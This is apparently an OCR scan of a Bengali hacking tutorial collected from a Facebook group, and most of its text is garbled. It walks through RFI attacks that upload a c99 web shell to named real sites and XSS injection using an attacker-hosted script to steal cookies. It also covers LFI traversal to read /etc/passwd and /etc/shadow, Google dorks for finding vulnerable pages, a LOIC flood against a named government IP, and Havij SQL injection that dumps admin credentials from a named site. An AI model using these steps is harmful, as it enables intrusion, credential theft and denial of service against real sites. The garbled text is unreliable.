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T (6 IR AT FF YAEF ORI AT (RARERT, [GeR, aqayad enf) @@ SR (]9
FAE THS | AR http://readnotify.com/ W26 Y| AT 2T @RNETE I 1939 = 77
R AN ATHE FH@ B ©F FART 90 (W2 [Ty 9317 IRT § O afFmE ferye
victim’semailid.rednotify.com "M@ a| F¥a (7 2C1RA06 TR O TRFIOE@ AFEE HoEBwR
AFTSCE ©IF AR B ANE | IANE FSEMHHR 36 TFT e =T UTaE EREE Ty 2P
FE IFRE MO T IF T A OF ARM (TF IA| THfelb 37 IO

P 8@T WG G T=w A1 *E SN I/ FAEA

http://www.didtheyreadit.com/

http://www.pointofmail.com/

ST SAFH : SPAT (O IARF (AR AT (7 FeT P |G ATIA TG Sl IF |
AT [AGH (FE (MO (FT TRE AR ©F ST | TACR http://www.ip2location.com/ STREG Y| a3
STReA A H@ S Ffee IR awstc AT Td " wo (w3 |

Afd IE@ I HNfe: FImS Ol AT JeT

A IE R BG: F@A ONE O/ AR NHE BT FFA | (T (O INo I ATAT
OISy I | S N T F FAEA? 9FL ACTEH FFA IR| NG IF0 I[N @Y FAH A©
S ©f A= G ARG A0 FANGA N AHOe WA netstat -n 97 I A& A2

BFASH AR PP AP FBEAGEE JoSEN FIEI AT T J& AR 0F SoIEE ©AR I3
FASHT N NI I MEPE (OO JR| e, A PPy A (FHIP,OERET 93
GHHOACT AF2 0T TEIHE @A | SIEI FADL 92 fSAb T T2 AP IR SR
FAE| TOANA IBEEG IF 9F [E o 99 9F 9F “F[ITT FE| @FF : 1CQ Messenger,
MSN Messenger, Yahoo Messenger, Gtalk, Meebo, Gigsby, AIM 2eTifw| SR q3 Wﬁ PHTT IS
FA© IN(@RA APA? MG 9 FEAE2 AE ST 80T IO (Fa (777 26| TGP |



http://readnotify.com/
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.didtheyreadit.com%2F&h=lAQH_OKW9&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.ip2location.com%2F&h=fAQEx51ZH&s=1

(Fa-5 I A ICQ Messenger 9 H6 FET AMNF (T FIAS ATIF TA(® G ©RE 4 &b
FIE TAEMTI 1ICQ Messenger 7 F& FAR N (R (AMNAMRA->ANTAH IF->foy) 3T ©R
FIAS AR WX FANAEW@ YT TG FE| WA P AN FFS AR TA@ BIRA ©IT ©IF
R0 a4 & TN B8F FIE@T 911 91T Start->Run->cmd->netstat -naBIF | (T ARMFHSEET 9T
O (FF T% FI@ [T T 997 WA ©F T HNfo: AT FFA| A Start->Run->cmd-
>netstat -nATE | 9FF AR CTNE QA6 IR (WAt TMEN | I 9% TFET SRife
24 HIft: 9 T[F199F For@ OF I3 (I9 FIEF ©f T332 G I@ e 2@ a7

(Ba-:

.22 Yahoo Messenger, MSN Messenger, GTalk Messenger 43 (@ . @S (NOTVIEISET F15 FI1H
HAT (R (SAAA-GIOTSEATEA-STNE 7)) ZSN| A MM ol (Fa-s 97 T&@o IS
AN BIRE AP (OTSES SR &, [fed d9711 2@ AT Slee @ e
fersfamfazl I3 b1 @ F996! IAHF AEeAT T ST 9 g fF7fbfe 77 zm=1 oItyrer
SAAE ™ FIOE (TP JEE OF BF I AT 92 (OOET (F@ (T IRE
PRI (ACTSER 93 IO FE AE) AN AT Y HiteFe [0 Iqa A" F=
@ FRT TS A OIF ARG MIMS =G, (6] @ M (FA =fF I AqI9F =71 I
S W ORE (Fa-S 97 T&@6 S IF| TG AP OF T SIe: FI@T od Arsifey
Sfefde (T MR aD (W TE (6 A= (NCTESEFNRT AT INT (7 AFHE IR (P
&% MHE Sxd MEHC Tga RPN (WAME, (6 2R ©F IARM| 268 A[3 9306 ST
A O I, AGMA SNF AFET FM2 AF0 (2d TI© I M@ | TG (7 (3 TP A
Ao@HHRE afe BfF@ I I M T @RI (F1H T2

(Fa-v

.22 Meebo, Gigsby, Trillion v MG &N Fonas (H@ :.9T@ (FF THo (W3] BY ILPR F4T
I O = A Iq© MES AFANE (3 Fa00 N7 A FC@HR Tafe trEme MNE |
ST FIAS DM TSIT (SN FOF F16 a7 A BT (SN TG @D IS aF | ARG
TN TA® (ST AP YT Jeq0© 27| R ¥ T@R [(feq 4q@F A[FE E SEE0
ARfE AT (TFG ARG ANE T[IE TA@ | ARGNE AP AFH STINRG By ARG amw R
AT FA© TEY IWS O T FEHE 972 (FTFE T T3S

fme: e e
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CISHEEPIRMIEEIER
HTR3

Sfe® DA (F1T (TFT N T-TFH (20 IR TR FIAF-F% T FIES A1) FIE (6T &
I 2fesfamfa) [Aee FEEE o I9ET Fm N 9@ (18 XE@ T 3w fafas |
T fToE FRHET T TIE (F1F T FfoTET FANF2 @ O S AIIR |

AR TFA IO DIF: FA© BIRE Forget password 4 FF FER THFS IEI0 IIF God
@R e BF Fa© MET| FET AT P NPT SO F7 TEES TR (@@ (@F, A A
A TF NHTHNS] O3 I[P @S (ST ©NF3 S, ©1F A FI? ©RCT (71 IR AT
TR el a5t segf 33

T4 (Bl o SRge 29 oNd [RF 239 JFE GCHEEs HIRERE JFTeETend THEET
FATI (7 (7 (F T IPE] FIOE IR O 936 N (GG el IF E IS
FfEha I I SNATFE 7% 6FE0 0d] FE ©F THG IR ¥ JR-ET 936 I I(7 a3
I (T, BIEGA MY 96T aFf6 Bre| 93F Nq@Ear 932 Ol ISET IHSENT 961 7 @ete s
IE HE YT 2 AFHIED ©F, N (GREH TOIET OF0E No| AR TFI6e PRGN
AR F9 FA© TR F991

sy aPAM % FPF1 (7 BY @ a1 FE AT 99390 (BT W[ FATI OIRET (TN
T Afrsfafae YRSFe | (F FF 36 FA00© @ OIS ASfayiE agsmmsy
Frfoesed 77|

AP IFF A5 IFTOT JIF FAW@HIRE Forget password AfFF FER ANES I TG Tod
@R S TF FA© MEF| FES AT DI ST F5 ANET TR (@@ @F, AT A
SEAE THA TEN (O] AR IFA(S I (ST B3 S, ©F 77 F2 ©IRET (W] MR AT
e RfFefadifRe Al sweyef 733

I afesfaTfas@a et W37 :

AT W@ I Fe e I (INT (P FCNEE AT @o3IE T@T, ©OTWd A3
PO, TSI, 9F0b o0 ARSI “NEST FEF e AFAa FA1| IF@E [{Afeq 4T@F
NHESANET N @F ¥ J7 @ IEE (@ T63TE a7 (F1f6: 8 FS alnE I |
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A FFS AT RE AT AFIFH AFb T (F, Congrats! You have got 100000 free visitor, CLICK
HERE for withdraw. 9eTF =fefia o1l R0 =S IOV FAeF O (FGPNET ©F N7
fAfenswe ! oy TaRE T R oF @S FeE w=w| e e e SEsh
RlQIEEra

—>impersonation
—>posing as imp. user
—>3rd person approach

—>technical support

FPSBIF fefes o= 2fvwfeamfas:
T 36 ol [Res|

—>mail/im attachments
—>pop up windows
—>sweepstakes

—>spam mail

R IHFE AT@R Y| @ TRES (FA P FAR AT 97 T 2Sf@m@d &0 33
SIS SRS F41 Sfow| TNa AN F1ES ORE@ (FE Fg TR 432 (7 I fFg

fme: e I«

M=
RF! (Remote File Inclusion)3WaNEe i
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S8 (W1F Remote file inclusion TP 821 IFAET 2@ A o (T, [P FAF (3@ [P A@
(B (@A AF3 FOT 3 FeFF|I I (N FI©7 ORE JIOF| AF (M FAT ABE 1, BY T3
FAER E| AIF FAE (MR (T¥F T39fR@ ¥ At ©F (TR sfe 8 IE18 NG| ©TR(
AT FAT 9T 99F BF @ IF (MR

Remote file inclusion 1%, @ T I@ RFI W& a6 ey T wrwea s afes st
AN FHET MING| AT Tafod @l I3 Tafoes APEE STINRGA vulnerability (I3 FF©
3@ A% vulnerability 97 NI 90 [FF 96 @I NOIEA remote file I FAte AE| AP
FE RFI DR T GIER[E HTHe (T |

@A GG vulnerable ? fFOIE JAEA? J3R Fo4 o, ©R 1 2 9% A1 Tod SAF Sy fwa
ferfe (...

http://www.targetsite.com/index.php?page=Anything

(TN© MR, (ISEN AP o= o o @ 4 A8E JRA FAGA
FOIFT ? 857 TIuAPE ? fod A S5 T oo

“inurl:index.php?page="

TIET TF6 B @ b a1 ORE A& “index.php?page=" a3 BROF To SFINRL IR,
NISE SIINRG S5 WA T A 0T FI@ | 949 (FH STINR60 NOFT MRCT Fely
vulnerable ©1 TS IE@ (W@ T FoE@ Fa@w ? [AwEaT T©r 3@ FFA

http://www.targetsite.com/index.php?page=www.google.com

2 FE FEA MWW hitp://www.chspk.com/a8 TREH @ (TARI 93 IAFET BRI a6
vulnerable f& a1 ©TRT feya. ...

http://www.cbspk.com/v2/index.php?page=http://www.tunerpage.com

or@ aft @A,
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) :: CHARTAC :: Financial & Software Solutions - e smmsz "

22 (E) ==r=i(E) V) 2= 7208 =0 ==

4 &~ S
ABOUT US SERVICES METHODOLOGY PROJECTS CONTACT US  CAREERS

st o4 [oea el a7 [af4 4qe]

Search

Tune’z Q" 4r

‘E TunerPagfa )

2F I T SFIMRGH I SFITRG 9@ (T R JAHET (T 93 8@ STREG RFI AEFA
(WA AF| A DA AES .

ATE THETe [EHEA o fSHoed STIREG (T (FF Shells IAEG F(F, IO ©F FIS0
SIRE (WO | AN A1 (@FgersT FEET 99 shell A1 157 shell AFETG | A A&
(TATE c99 shell AMFEG FATI 955 [FEAT (T (F1H 936 STIRIBG: TREG ©IWE (4 APENG
FE (T (FFF-ripway.com, 110mb.com @M AT N IES A ripway.com 93 NRG (ST
SETG I ORE AT RS 3E...

9 ORE aft ST@INRG (M¥F| (MR, fF (AT ?
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E

ABOUT US

SERVICES

'C99sShell v. 1.0 pre-release build

METHODOLOGY PROJECTS

Software: . PHP/4.3.4

Administrator
Safe-mode:

==

shell executed

Free 0 B of 0 B (0%)
Detected drives: [ 2 ]
. = =

uname -a: Windows NT WWWS6 5.2 build 3790

\192.168.0.16\webfiles\ files\2011-2\3540849\

® ® ® cncoder Tools

Isting folder (1 files and 0 folders):

Modify Perms Action
14.02.2011 05:13:38 « B
31,12,1969 18:00:00 . |
14.02,2011 05:13:38 e w B

i Done

Select all | [ Unselect al = \'fd\selamadnlarﬁm

www.purepdfbook.com


http://www.facebook.com/groups/hackingwrld/doc/442052402551337/

: XSS sEIARG I5Ifhs
XSS ?

XSS T ToNF FA@ @ JIVCR Sae (@ XSS f&AsT6r 2 Cross site Scripting 97 EFIFTR
& XSS ABE SNETE CSS(Cascading Style sheet) 8 IE AF | I (FO(F 3% (VN ©NF JET| 6T Web
Application Vulnerability 97 SI®®E ST S@E AF6 1 9% vulnerability 9599 JIFEE 956 TREG
client side scripts (AT 3% Javascript) 396 FATF Sfe we F@| 92 vulnerability i@ aFo=
[FE fSFGEE IREG malicious codes, malware attack, phishing @31 inject $I1(© M|

XSS Vulnerability and Injection
4T57 5: Vulnerable 3TIF WT36 (&1 (I FAT

A F¥E Vulnerable SRG Y& (FF FPa | A5 (7 IYF Google 9 I S99 Google Dorks
TFRE FE Vulnerable TRE Y& (IF FEA| ©RET AFf ©F S N6 ¥ 467 sql Injection )|

"search?g="
IR S ST Vulnerable TRE Y& MR 91 9F6 TREG AT F |
757 2: Vulnerability STIT $37

A XA (T TRG A@ FEMR, (TR TREGI Vulnerability TS @ MaAF| A5 APEE I 6
TREF 936 (N T parameter Y& (IF FH© | JRRA?

q RAE AFp IO FES, TR| ACF AT 977 9% (MYS @F FAET I OF TRGA NOF
MSNT| (INF:  search query, username, password.

Vulnerability T3S F1 &% 6 T&Ho SR |

TEH(O b TYN THFS T TG I N6 I injection FAT
PO [FE AHRTS RO (T NG I a6 malcious script 7, S N6 I6E FF F@I M6
(MA@ ST ST malcious script o STINRG I 41 3F FEF (T |

T&fo 3: NT3J URL 4 injection FATI
At @9 NG I@ F& IFE A1 AT BY W@ TREF URL 9 & FE W@ (Felaz-

htp://vulnerablewebsite/search?g=malicious script goes here



http://3.bp.blogspot.com/_lBoKsfWMhbE/TLYDr8vQmTI/AAAAAAAAAAM/V1wVWY0GB70/s1600/xss-threat3.jpg
http://3.bp.blogspot.com/_lBoKsfWMhbE/TLYDr8vQmTI/AAAAAAAAAAM/V1wVWY0GB70/s1600/xss-threat3.jpg
http://www.facebook.com/l.php?u=http%3A%2F%2F2.bp.blogspot.com%2F-8z5CXuZZpeg%2FTpgBgtdbdBI%2FAAAAAAAAAsE%2FqCTc_dxniWE%2Fs1600%2Fsearch%2Bbox.jpg&h=EAQEw3axp&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2F2.bp.blogspot.com%2F-8z5CXuZZpeg%2FTpgBgtdbdBI%2FAAAAAAAAAsE%2FqCTc_dxniWE%2Fs1600%2Fsearch%2Bbox.jpg&h=EAQEw3axp&s=1

SIHT FAF JR{EM input fields R@E w7 @Frofe e

TR TTEF (FIO M@ il a3F ST FE @RF| (T2 -

AN Tafo: A THEF (FO6 " fSHOET NREA (7 N6 I& &Iy {6 (e |
fFSiT mfs: o fesoow TR i@ M@ a%F e @ .-

http://vulnerablewebsite/search?g=

A1 MM ‘extreme hacker’ [T aF6 79 ST FH IANT| ©T FAHET (I 9% ARG6 XSS 97 Ty
vulnerable.

1= 9: Malicious Scripts (73T

Vulnerability TR ST 97 9509 BIFIEE TTT6!] I 3, fSFGEF STREG malicious scripts XEF6
FAE a6 Tfe STREGA cookies §fF FAT 932 malware attack F© TS FAE|
9 AW FPA [INET RO cookie stealing script & wM=| ®1&E ©1F malicious script url 2@

http://attackerSite/malicious.js

9 [FIF ©1F malcious script f& vulnerable site 4 inject F® METE@F| ORE ©iF URL 3F

AFIT T2 OF NRObA fofobd % WRG fofes FAEF , o malcious script 6 39 8F FEF WF
T P G FA 8F FE MEF

HTHTIT® XSS A7 FHST APHIF persisting capability TH 1{3 HIEI| AF 6T I Persistent IMITF 6T
T Non-Persistent

Persistent XSS:

ABTRST SAEE @ JfF YA XSS vulnerability. 951 SATNE WTOTE (W@2 OI6T MR MFHT @ A |
©R At ¥Aw: ©® NG malicious script injection f@e, MY S a6 8@I aNfa@ M TR
TEFT T WE| AT Faney] e fofdbam b1 (W@ M@ I o s fosited 8@
SIRG malicious script injection FAE, O A6 S TRE AN [SAGICAS MNE@ FE| (Folae- [F5
fF% TRE OI®, IET S TREGA FIREIFIEGT OIF FAF Sy search query ST TREFAFE N |
[ BT XSS a9 permanent storage.

Non-Persistent XSS:

AF A2 Reflected XSS IETF | AW52 malicious script AATE (BRI HE AT (VT FIHio
THE fSfReaa (e MEEF a1l 8@ T, I TFE oFemd 7 EHH fSbama @aEE
&4 injection foT [IREFE W@ | FOF [TFT 2, I O TRGA IA] [F3fve fofdva o@r 5
N FE F BT TREF H@F FiF HE OF1 (TN IF AF 0F88E TREGA JHFF FFE
| (- AP g g TREG @ @FESET N6 G (3@ e S 37 W6 7ERG
AEANE AT (PR B FIRER malicious code temporarily .

AFHT BTFTT 9% Vulnerability fow f& 313 2

. AfFEFTa 8 ey (AT o g FAl

« 8T WRRHGA Bypassing restriction www.purepdfbook-com



Session Hijacking
Malware Attack
Website Defacement
Dos attacks
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http://www.facebook.com/groups/hackingwrld/doc/442052402551337/

(LF1) Local Fife inclusion Shell upicad 3@I3Es a0

Bg FHAT A Tyl N e e f@F: $fe FIE SECT I ASMET q71 e i
MAGH O (FR| ArT S (F8 I THE o (T,

ARFET TR NfE, ORE 7 @7 IR AT 99 935 79 off =

P F7 W ANE @ W @ e (@ eE @, T FE IES A6 (WNF @
AEFH ST MG 95T A@F2 TIT FEATE | 5 O T N 5T 8T 7|

LFI!
RICAEICED

936 SEET MRS A6 936 W AN 97 WY TEla TIFT =
Local File Inclusion.airs

SAETAH

Wo-FAN (T fFer@ A aF61 RG  LFI Injection e 3|

R

fIm®a PHP (FTOSE

(T2

$page=$_GET[page];
include($page);

7>

T php (FIGH6 AEF 3T (SOTNFTR O SFIREG HITT FE A& |

e At INE OFT O FE ANE| FIET 9% $page(FTSH sanitized AT a7z a6 aB7 [FEE@ 6T
RS FE (T Yoz 92 (PO JFEH OWA LFI TIRFF F1@ 9E FE | Al I
fafey TRC FE N, O 3@ AET (FTC TREA [TRF (e THE|

www.mywebsite.com/index.php?page=products.php

AR HFA@T SRE, (FA TG TIH =GR JI© THES (J,
www.purepdfbook.com


http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3Dproducts.php&h=tAQGTF0s9&s=1

a5 936 SIFFT SFINRG| NES A AFEI TRE GFE, & NREGA URL 2

www.mywebsite.com/index.php?page=mypage.php

AT

(7, mypage.php =1

ST

@2, ®12 aft a6 php error message WIS (W& | (INAz-
Warning:

include() [function.include]: Failed opening 'mypage.php' for

inclusion.........
O1R(

9FF ANET 92 TREG T@T FII| ANE SN &, Af6aFT vulnerable STITRGI IM A% ARG
unix server 4 @ T, BIRE ANFT 26 THSINE FRAMD ANH (¥@F (IF FA® MAJ| etc/passwd
RTRETR® THETS THITE TaHo IMF| (TN

www.mywebsite.com/index.php?page=../etc/passwd

www.mywebsite.com/index.php?page=../../etc/passwd

www. mywebsite.com/index.php?page=../../../etc/passwd

www.mywebsite.com/index.php?page=../../../../etc/passwd

aqq
JANET ../ HRE

q=T

FE THSIE fA@ (58] FI71 9ATH a6 AN FF TTH | (G1F o fAwa 36w, ..

www.mywebsite.com/index.php?page=products

QT
a6 Sy a7 FFa (T,
.php 99

9 ?page=products SEX|
www.purepdfbook.com


http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3Dmypage.php&h=KAQFbb-UH&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2Fetc%2Fpasswd&h=mAQHR6S3p&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2F..%2Fetc%2Fpasswd&h=7AQHEe7P_&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2F..%2F..%2Fetc%2Fpasswd&h=FAQEcgb4B&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2F..%2F..%2F..%2Fetc%2Fpasswd&h=eAQFKeJrA&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3Dproducts&h=oAQHJUedd&s=1

aft. ST AT FHT T@@| ©1’R AN .php T
$page=$_GET [page],
include($page.’php’);

7>

a2 R f@a T null extension TFFIxe T A& |

www.mywebsite.com/index.php?page=../etc/passwd

www.mywebsite.com/index.php?page=../../etc/passd

www.mywebsite.com/index.php?page=../../../etc/passwd

www.mywebsite.com/index.php?page=../../../../etc/passwd

(FFFAER, A 93 HRGA THIIE FIRASTEN (TF AT | “passwd” file T3eT Fo=@F =iy {Fgfge
] @1 ARG A ANFS (WA(© A&, ..

etc/profile
etc/services
[etc/passwd
[etc/shadow
[etc/group
[etc/security/group
[etc/security/passwd
[etc/security/user
[etc/security/environ
[etc/security/limits

{usr/lib/security/mkuser.default

R FRASE] AFANE TOE NF3 8T A@F o7 T |
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http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2Fetc%2Fpasswd&h=LAQHPPIH3&s=1
http://www.mywebsite.com/index.php?page=../../etc/passd
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2F..%2F..%2Fetc%2Fpasswd&h=QAQFGx24O&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.mywebsite.com%2Findex.php%3Fpage%3D..%2F..%2F..%2F..%2Fetc%2Fpasswd&h=lAQH_OKW9&s=1
http://www.facebook.com/groups/hackingwrld/doc/453565801399997/

Requirements:

1) Site vulnerable to LFI ( http://www.site.com)

2) Remoteshell( http://www.yourhosting/urshell.txt)

3) User-Agent_switcher( https://addons.mozilla.org/en-US/firefox...-switcher/

4) Mozilla Firefox Browser

FYE (WA A ArE TRe6 LF1 98 &y vulnerable a7
Google “Dork”

index.php?homepage=

index.php?page=

index.php?index2=

allinurl:index.php?page=

ST replace FA® NMES ‘index’ and ‘page’ SN I F M@s b e @S |
(T

allinurl:site.php?site=

AT TF B @ TE T |

SIBE

fama ¥o A IRG foFem

http://www.filllpg.co.uk/index.php?page=contacts.php
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http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com&h=sAQFUwvpn&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.yourhosting%2Furshell.txt&h=JAQHDN-eJ&s=1
http://www.facebook.com/l.php?u=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox&h=pAQEsApFv&s=1
http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.filllpg.co.uk%2Findex.php%3Fpage%3Dcontacts.php&h=kAQHyU3qM&s=1

9719 replace contacts.php I 'null’, ORE =T o 2T |

http://www.filllpg.co.uk/index.php?page=null

ORE NG T (TAEF

If you see a list of errors running down the page, or missing content
(pictures, text etc.), then the site is vulnerable and we may continue,
otherwise just move on to the next site.

Now, we're going to try and connect to a file which we know exists on Linux
servers, /etc/passwd.

Since index.php has the rights to connect to a file like contacts.php, it's
possible that the administrator has forgottten to restrict its access to other
files, including the files containing sensitive data.

We're going to try to read the file "/etc/passwd" which contains data

on root users, etc.
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Whats that site running ? el | Search |
OS, Web Server and Hosting History for vereeriseisewesreem
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05 Last changed IP address HNetblock Owner
Linux ) 3M1-Mar-2012 216.2 97 Re om, Inc

55 aF =35

We have no uptime data for vewsssbeshéessesssmect present, and cannot plot a graph.
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GoAhead WebServer
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£ Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.4.0

1. Salsct your target =) —2. Ready? -
URL hepstnicis | | tockon

IMMA CHARGIN MAH LAZER

2 P

NONE!

TCP / UDP message
A cat 5 fine t00. Desudesudesu~

<= faster Speed slower =>

S. URLAE (X (F TRGA AW (T |

(AR e 3o G SEe Fa© E, NEe b RGeS %2 2@ a1 5 SRGa 6
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£ Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.4.0

1. Salact your target —
URL  hitp ibsf.nic.ind|

[

TCP / UDP message
A cat 5 fine too. Desudesudesu~

<= faster Speed slower =>

3. "lock on" NE® FFAI
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22 Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.4.0 EE®

1. Select your target 2 Ready?
URL hitpibs{nicin/

IMMA CHARGIN MAH LAZER

L3

|- Selected target

164.100.52.73

3 Attack options
Timeost TCP 1 UDP message
A cat 5 fine too. Desudesudesu~

Wat for reply '
<= faster Speed slower s>

D raeto CO | Connecting

O, (MAET IR 7F 3@ PIEm |

24 Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.4.0

1. Sakact your target
URL hitpibsfnic.in/

+

164.100.52.73

Timeoet TCP 7 UDP message
9001 I A cat 5 fine t00. Desudesudesu-

80 | . 10 Wat for reply '
TCcP
- uop L

Port Threxds <= faster Speed slower s>

~ Aftack status |

PraetoXicom ‘ e Cannecting Downlosding

8. foa a9 N@ FEG "http" TS FFAI
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1. Select your target = 2. Ready?

IMMA CHARGIN MAH LAZER

~ Selected target

164.100.52.73

Timeost TCP 1 UDP message
’ A cat 5 fine t00. Desudesudesu-

10 Wat for reply '
Thre: <= faster Speed slower =>

D raeto *CO | Connecting

E% Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.4.0

1. Select your target r 2. Ready?
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P

164.100.52.73
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o [ B i B B

Port B Threads «= fasier Speed slower=»

Antack stetus —
e Downloadng

¢.Threads 3 4 1000 R FF|
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e Downloadng
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~ 1 Select your tarpet —
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(Havij SQLI injection)3@IMRE  Ti=%
SQLi foS 1T vyv

Download
.Havij 1.5 Pro : http://www.mediafire.com/?s7a89dxmfwxcyij

e T Google.Coma |
o 99 F fAmFT 859 TFH Ty N6 e

"inurl:php?id="

o VORME IAEFPBE B (M|
o YT AP Dork A : http://pastebin.com/DvnHxg7i

o@d fBF Maps S@F "EI@E CTEFRR Gmail

o (TYF HAHT (MAR “SF 2,010,000,00000 HNHT(0.23 (FT) ”

o FF T @ IFC TREG FTT FF|

o XTI W (T (FW RG ¥F©@ ARG, (T N NRGA 9 php?id= @I R F7 TRG TEE|
(33
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http://www.paulprescott.com/theme.php?id=10

o IMAT A% STRGIGE GG FIA

o AT APHE GG FAT TREGA fMRET CTE WA A9 AF6T AMR ID=XX, IAMF XX 9T SN TEF
q9q[&R] (IS AHF A4« A& ID=10

e A9 22 fRE@E CTE AFGI () M|

e A3F ATIF el

[l paulprescott.com/theme

& (& paulprescott.com

You have an error in vour SQL svntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'

ORDER BY id ASC" at line 1

J tyn alivre / / /7!{16’/(?0/&9(/ @7- LIeex

I‘(“\ cr {.L] WWW .lllllk.‘l'PdL:'J com

e 939 I TARF @I Error (7T, ORE FIHEF (F, TRGGW® inject FAT IE|
e 2979 “Havij” [E‘_'Iﬂ@ ST FPA| OIR( IFG\‘Kbﬂ Nl AMNE



http://www.paulprescott.com/theme.php?id=10

Target: http://paulprescott.com/theme.php?id=10/|
Keyword:  Autc Detec Syntax: Autc Detec

Database: §Auto Detect vJ Method: (,ET Typ-— \Auto D)fct

Post Data: B A / U i

L] a :
g L Settings

Havij - AdvancedS LIn %
tlgpra\

,/ Ver5|
-3 S

_ W l?“ p \i\{q%b

ITSec \ \.
farum. Itbecte..ai*eo

/i tb" ! am. cq(’u heck for update
Datab < ) Register

-

~ /e

t L‘}‘f‘r IDLE Clear Log

o A3F Error 73T WRGA B 94T (M9 3 “Analyze” ABE % F| (TNEF Bafo (T3) |

o 9TF P AT FFA| ORE L STINR60 TS FAE|
o IM IS W ORE 92 FTIFN WO M|

"Current DB: XXXX"

o fawa =RE @&



Keyword:

Database:

Post Data;

Current DB:

cott.com/theme.php?id=10

http://paulpres
Syntax: Autc Detect

vﬂ\ Method: | GET

| Auto Detect

B P- |
yb min, ‘4

, ~ [l
Read Files She /Quer}

\f Tables

Info
Havij - AdvancedS/Of_Inje 9” oI. 2

10’\_

"‘h

’ITbecT~an1 com ».L
o5
Check for update

Registe

-

~t\’lk&l'l"

'gl’ por
If injection failed,
paul th"d

aA9q19 “Tables” tab 9 I |
aFEF “Get DB’s” 4 5 T4

etry with a manual keyword

Settmg_,

Clear Log



N
ttb;{paulpre-:—cctt.com/theme.php?id=lD'I b i}
/ . \ — e Analyze Vause
\F‘.\ ety OS¢ Syntax: Autc Detec

" = e =
Jatabase: ".;to Method: | : i/ J
[ - e -

Auto Detect ~ =
—_— 2 Load Save

3

7
MD5 Settings

1 |
Save Tables  Save Data

P

‘
|

V| Use Group_Concat [MySOL Only] [V &llin one request.

Status: I'm IDLE

o AFF INACIT WA (FYF 0BT I PR &IV (S| “paul_third”, 8 “information_schema”
o1 2T



http://paulprescott.com/theme.php?id=10/|

Analyze
S;nla-" Autc L %

| Auto Detect v | Method: > | Auto Detect v | = J

—— —_— Load Save

L >
Tables Read Files She Query

) i 1 v | &3
Get DBs Get Tables Get Columns GetData -~ Save Tabl
V] paul_third
[ 7] information_schema

s )

L
) !.\
qu:t/‘&vl L Qrgh { J21 in one request. Forcetouseit (/| Clear list on get

.
‘\

Base Found: paul_third

o “information_schema” ST T GIFIF AR I MySQL ©F A& |
e VY ¥ “paul_third” R IGENE T
o I3 “Get Tables” 9 % =l



Target: htt paulprescott.com/theme.php?id=10' B

Analyze

Keyword:  Autc Detec Syntax: Aurc Detect /
[Auto Detect v| Method [GET | Tupe: [ | B =
-_— — . 2 Load Save

E : o 3 ; 3%
Query  Find Admin MD Settings

[ fid = ] ]
et Columns  Get Data Save Tables  Save Data

[ «

¥|Use Group_Concat (MySOL Only) |V &llin one request.

Status: I'm IDLE

pe is Integer?! If injection failed, retry with a manual keyword.

o OIE, AF (BRET T FRASEN (T ITES |



# Havij G=ulagl =

http://paulprescott.com/theme.php?id=10'
Syntax:

v| Method

]
Tables Read Files

Get Tables Get Columns G:} L)ata

"

Force to use it /| Clear list on get

ocrmation_schema
aul thl’d

e 9 AMAT administration panel f& TF FI@ (BT FIF|

e 99 “admin” table f& (5F FF|

o AT @ S T2 2GHF MEF| I AP (F1F 2GS AT A, O S 9AF [P
F© TEES |

o 0931 “Get Columns” AOE FF FF|
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# Havij

Target: http://paulprescott.com/theme.php?id=10'

Analyze
Keyword: itc Detect Syntax: Autc Detect 7

— r— q =
|

Dat3kase: 1;‘-\uto Detect v| Method: |GET =| Type: |Auto Detect v | o -
L e S—— | bo————— e 2 Load Sav

4 ! %3
Find Admin MD5 Settings

= 1 i
Save Tables  Save Data

€
|

V! Use Group_Concat (MySQGL Only)  |¥! All in one request. Force to use it /| Clear list on't

Status: I'm IDLE

o ORE fAmET Ater ANE|
o AT “id”, “username” ( (T Username 0@ STINRG TR FEF ) “password” ((F Password
STITREG TRT IFE),8 “email” (ASHF (T (¥ R4 T @R IE® 8 I IFE@) |
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# Havi L= | B et

Target: http://paulprescott.com/theme.php?id=10" B i}
5 f r < Analyze
Keyword:  Autc Detect Syntax: Autc Detect z

Muto Detect v | Method: v | Type: |Auto Detect | = J

= — — — - Load Save//"-\

Cl : 0 &
Tables Read Files She Query  Find i-'\dm/xp/

Get DBs Get Tables Get Columns

(e
iy “LLI/ f a&p
£

Hu;Qj,gﬁ (V] Allin ane request. Forcetouseit  [¥] Clear list on get
2O

Clear Log
ul_third

ound: infoermation_schema
e Found: paul

e 919 “Get Data” BT &5 T
e O G WEANE Username, Password 8 RIRETH ©FSTEN (WE |




& Havi L= | B S

Target: http://paulprescott.com/theme.php?id=10" b i}
Analyze

Keyword:  Autc Detect Syntax: Aurc C Y/

j‘ ‘ —_—

Method: | | e |Auto Detect | = J

L

| Auto Detect - =
L 2 Load Save

Tables Read Files She Query  Find Admin MD5 Settings

[ fid = i i
